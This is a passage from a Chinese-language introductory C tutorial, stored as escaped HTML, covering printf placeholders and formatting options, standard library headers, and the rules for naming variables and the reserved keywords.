class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,只有在源码头部加上\u003ccode\u003e#include \u0026lt;stdio.h\u0026gt;\u003c/code\u003e,才能使用\u003ccode\u003eprintf()\u003c/code\u003e这个函数。\u003ccode\u003e#include\u003c/code\u003e指令的详细解释,请看《预处理器》一章。\u003c/p\u003e\u003ch4 id=\"占位符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8D%A0%E4%BD%8D%E7%AC%A6\" class=\"headerlink\" title=\"占位符\"\u003e\u003c/a\u003e占位符\u003c/h4\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e可以在输出文本中指定占位符。所谓“占位符”,就是这个位置可以用其他值代入。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 There are 3 apples\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;There are %i apples\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eThere are %i apples\\n\u003c/code\u003e是输出文本,里面的\u003ccode\u003e%i\u003c/code\u003e就是占位符,表示这个位置要用其他值来替换。占位符的第一个字符一律为百分号\u003ccode\u003e%\u003c/code\u003e,第二个字符表示占位符的类型,\u003ccode\u003e%i\u003c/code\u003e表示这里代入的值必须是一个整数。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e的第二个参数就是替换占位符的值,上面的例子是整数\u003ccode\u003e3\u003c/code\u003e替换\u003ccode\u003e%i\u003c/code\u003e。执行后的输出结果就是\u003ccode\u003eThere are 3 apples\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e常用的占位符除了\u003ccode\u003e%i\u003c/code\u003e,还有\u003ccode\u003e%s\u003c/code\u003e表示代入的是字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s will come tonight\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Jane\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e%s\u003c/code\u003e表示代入的是一个字符串,所以\u003ccode\u003eprintf()\u003c/code\u003e的第二个参数就必须是字符串,这个例子是\u003ccode\u003eJane\u003c/code\u003e。执行后的输出就是\u003ccode\u003eJane will come tonight\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e输出文本里面可以使用多个占位符。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s says it is %i o\u0026#39;clock\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Ben\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e21\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,输出文本\u003ccode\u003e%s says it is %i o\u0026#39;clock\u003c/code\u003e有两个占位符,第一个是字符串占位符\u003ccode\u003e%s\u003c/code\u003e,第二个是整数占位符\u003ccode\u003e%i\u003c/code\u003e,分别对应\u003ccode\u003eprintf()\u003c/code\u003e的第二个参数(\u003ccode\u003eBen\u003c/code\u003e)和第三个参数(\u003ccode\u003e21\u003c/code\u003e)。执行后的输出就是\u003ccode\u003eBen says it is 21 o\u0026#39;clock\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e参数与占位符是一一对应关系,如果有\u003ccode\u003en\u003c/code\u003e个占位符,\u003ccode\u003eprintf()\u003c/code\u003e的参数就应该有\u003ccode\u003en + 1\u003c/code\u003e个。如果参数个数少于对应的占位符,\u003ccode\u003eprintf()\u003c/code\u003e可能会输出内存中的任意值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e的占位符有许多种类,与 C 语言的数据类型相对应。下面按照字母顺序,列出常用的占位符,方便查找,具体含义在后面章节介绍。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e%a\u003c/code\u003e:浮点数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%A\u003c/code\u003e:浮点数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%c\u003c/code\u003e:字符。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%d\u003c/code\u003e:十进制整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%e\u003c/code\u003e:使用科学计数法的浮点数,指数部分的\u003ccode\u003ee\u003c/code\u003e为小写。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%E\u003c/code\u003e:使用科学计数法的浮点数,指数部分的\u003ccode\u003eE\u003c/code\u003e为大写。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%i\u003c/code\u003e:整数,基本等同于\u003ccode\u003e%d\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%f\u003c/code\u003e:小数(包含\u003ccode\u003efloat\u003c/code\u003e类型和\u003ccode\u003edouble\u003c/code\u003e类型)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%g\u003c/code\u003e:6个有效数字的浮点数。整数部分一旦超过6位,就会自动转为科学计数法,指数部分的\u003ccode\u003ee\u003c/code\u003e为小写。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%G\u003c/code\u003e:等同于\u003ccode\u003e%g\u003c/code\u003e,唯一的区别是指数部分的\u003ccode\u003eE\u003c/code\u003e为大写。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%hd\u003c/code\u003e:十进制 short int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%ho\u003c/code\u003e:八进制 short int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%hx\u003c/code\u003e:十六进制 short int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%hu\u003c/code\u003e:unsigned short int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%ld\u003c/code\u003e:十进制 long int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%lo\u003c/code\u003e:八进制 long int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%lx\u003c/code\u003e:十六进制 long int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%lu\u003c/code\u003e:unsigned long int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%lld\u003c/code\u003e:十进制 long long int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%llo\u003c/code\u003e:八进制 long long int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%llx\u003c/code\u003e:十六进制 long long int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%llu\u003c/code\u003e:unsigned long long int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%Le\u003c/code\u003e:科学计数法表示的 long double 类型浮点数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%Lf\u003c/code\u003e:long double 类型浮点数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%n\u003c/code\u003e:已输出的字符串数量。该占位符本身不输出,只将值存储在指定变量之中。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%o\u003c/code\u003e:八进制整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%p\u003c/code\u003e:指针。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%s\u003c/code\u003e:字符串。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%u\u003c/code\u003e:无符号整数(unsigned int)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%x\u003c/code\u003e:十六进制整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%zd\u003c/code\u003e:\u003ccode\u003esize_t\u003c/code\u003e类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%%\u003c/code\u003e:输出一个百分号。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"输出格式\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%BE%93%E5%87%BA%E6%A0%BC%E5%BC%8F\" class=\"headerlink\" title=\"输出格式\"\u003e\u003c/a\u003e输出格式\u003c/h4\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e可以定制占位符的输出格式。\u003c/p\u003e\u003cp\u003e(1)限定宽度\u003c/p\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e允许限定占位符的最小宽度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%5d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e123\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// 输出为 \u0026#34; 123\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e%5d\u003c/code\u003e表示这个占位符的宽度至少为5位。如果不满5位,对应的值的前面会添加空格。\u003c/p\u003e\u003cp\u003e输出的值默认是右对齐,即输出内容前面会有空格;如果希望改成左对齐,在输出内容后面添加空格,可以在占位符的\u003ccode\u003e%\u003c/code\u003e的后面插入一个\u003ccode\u003e-\u003c/code\u003e号。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%-5d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e123\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// 输出为 \u0026#34;123 \u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,输出内容\u003ccode\u003e123\u003c/code\u003e的后面添加了空格。\u003c/p\u003e\u003cp\u003e对于小数,这个限定符会限制所有数字的最小显示宽度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 \u0026#34; 123.450000\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%12f\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e123.45\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e%12f\u003c/code\u003e表示输出的浮点数最少要占据12位。由于小数的默认显示精度是小数点后6位,所以\u003ccode\u003e123.45\u003c/code\u003e输出结果的头部会添加2个空格。\u003c/p\u003e\u003cp\u003e(2)总是显示正负号\u003c/p\u003e\u003cp\u003e默认情况下,\u003ccode\u003eprintf()\u003c/code\u003e不对正数显示\u003ccode\u003e+\u003c/code\u003e号,只对负数显示\u003ccode\u003e-\u003c/code\u003e号。如果想让正数也输出\u003ccode\u003e+\u003c/code\u003e号,可以在占位符的\u003ccode\u003e%\u003c/code\u003e后面加一个\u003ccode\u003e+\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%+d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e12\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// 输出 +12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%+d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e-12\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// 输出 -12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e%+d\u003c/code\u003e可以确保输出的数值,总是带有正负号。\u003c/p\u003e\u003cp\u003e(3)限定小数位数\u003c/p\u003e\u003cp\u003e输出小数时,有时希望限定小数的位数。举例来说,希望小数点后面只保留两位,占位符可以写成\u003ccode\u003e%.2f\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 Number is 0.50\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Number is %.2f\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0.5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,如果希望小数点后面输出3位(\u003ccode\u003e0.500\u003c/code\u003e),占位符就要写成\u003ccode\u003e%.3f\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e这种写法可以与限定宽度占位符,结合使用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出为 \u0026#34; 0.50\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%6.2f\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0.5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e%6.2f\u003c/code\u003e表示输出字符串最小宽度为6,小数位数为2。所以,输出字符串的头部有两个空格。\u003c/p\u003e\u003cp\u003e最小宽度和小数位数这两个限定值,都可以用\u003ccode\u003e*\u003c/code\u003e代替,通过\u003ccode\u003eprintf()\u003c/code\u003e的参数传入。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%*.*f\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e6\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e0.5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%6.2f\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0.5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e%*.*f\u003c/code\u003e的两个星号通过\u003ccode\u003eprintf()\u003c/code\u003e的两个参数\u003ccode\u003e6\u003c/code\u003e和\u003ccode\u003e2\u003c/code\u003e传入。\u003c/p\u003e\u003cp\u003e(4)输出部分字符串\u003c/p\u003e\u003cp\u003e\u003ccode\u003e%s\u003c/code\u003e占位符用来输出字符串,默认是全部输出。如果只想输出开头的部分,可以用\u003ccode\u003e%.[m]s\u003c/code\u003e指定输出的长度,其中\u003ccode\u003e[m]\u003c/code\u003e代表一个数字,表示所要输出的长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 hello\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.5s\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;hello world\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,占位符\u003ccode\u003e%.5s\u003c/code\u003e表示只输出字符串“hello world”的前5个字符,即“hello”。\u003c/p\u003e\u003ch3 id=\"标准库,头文件\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%A0%87%E5%87%86%E5%BA%93%EF%BC%8C%E5%A4%B4%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"标准库,头文件\"\u003e\u003c/a\u003e标准库,头文件\u003c/h3\u003e\u003cp\u003e程序需要用到的功能,不一定需要自己编写,C 语言可能已经自带了。程序员只要去调用这些自带的功能,就省得自己编写代码了。举例来说,\u003ccode\u003eprintf()\u003c/code\u003e这个函数就是 C 语言自带的,只要去调用它,就能实现在屏幕上输出内容。\u003c/p\u003e\u003cp\u003eC 语言自带的所有这些功能,统称为“标准库”(standard library),因为它们是写入标准的,到底包括哪些功能,应该怎么使用的,都是规定好的,这样才能保证代码的规范和可移植。\u003c/p\u003e\u003cp\u003e不同的功能定义在不同的文件里面,这些文件统称为“头文件”(header file)。如果系统自带某一个功能,就一定还会自带描述这个功能的头文件,比如\u003ccode\u003eprintf()\u003c/code\u003e的头文件就是系统自带的\u003ccode\u003estdio.h\u003c/code\u003e。头文件的后缀通常是\u003ccode\u003e.h\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e如果要使用某个功能,就必须先加载对应的头文件,加载使用的是\u003ccode\u003e#include\u003c/code\u003e命令。这就是为什么使用\u003ccode\u003eprintf()\u003c/code\u003e之前,必须先加载\u003ccode\u003estdio.h\u003c/code\u003e的原因。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,加载头文件的\u003ccode\u003e#include\u003c/code\u003e语句不需要分号结尾,详见《预处理器》一章。\u003c/p\u003e\u003ch2 id=\"变量\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%98%E9%87%8F\" class=\"headerlink\" title=\"变量\"\u003e\u003c/a\u003e变量\u003c/h2\u003e\u003cp\u003e变量(variable)可以理解成一块内存区域的名字。通过变量名,可以引用这块内存区域,获取里面存储的值。由于值可能发生变化,所以称为变量,否则就是常量了。\u003c/p\u003e\u003ch3 id=\"变量名\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%98%E9%87%8F%E5%90%8D\" class=\"headerlink\" title=\"变量名\"\u003e\u003c/a\u003e变量名\u003c/h3\u003e\u003cp\u003e变量名在 C 语言里面属于标识符(identifier),命名有严格的规范。\u003c/p\u003e\u003cul\u003e\u003cli\u003e只能由字母(包括大写和小写)、数字和下划线(\u003ccode\u003e_\u003c/code\u003e)组成。\u003c/li\u003e\u003cli\u003e不能以数字开头。\u003c/li\u003e\u003cli\u003e长度不能超过63个字符。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面是一些无效变量名的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$zj\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ej**p\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e2\u003c/span\u003ecat\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eHot-tab\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etax rate\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edon\u003cspan class=\"number\"\u003e\u0026#39;\u003c/span\u003et\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,每一行的变量名都是无效的。\u003c/p\u003e\u003cp\u003e变量名区分大小写,\u003ccode\u003estar\u003c/code\u003e、\u003ccode\u003eStar\u003c/code\u003e、\u003ccode\u003eSTAR\u003c/code\u003e都是不同的变量。\u003c/p\u003e\u003cp\u003e并非所有的词都能用作变量名,有些词在 C 语言里面有特殊含义(比如\u003ccode\u003eint\u003c/code\u003e),另一些词是命令(比如\u003ccode\u003econtinue\u003c/code\u003e),它们都称为关键字,不能用作变量名。另外,C 语言还保留了一些词,供未来使用,这些保留字也不能用作变量名。下面就是 C 语言主要的关键字和保留字。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eauto, break, case, char, const, continue, default, do, double, else, enum, extern, float, for, goto, if, inline, int, long, register, restrict, return, short, signed, sizeof, static, struct, switch, typedef, union, unsigned, void, volatile, while\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e另外,两个下划线开头的变量名,以及一个下划线 + 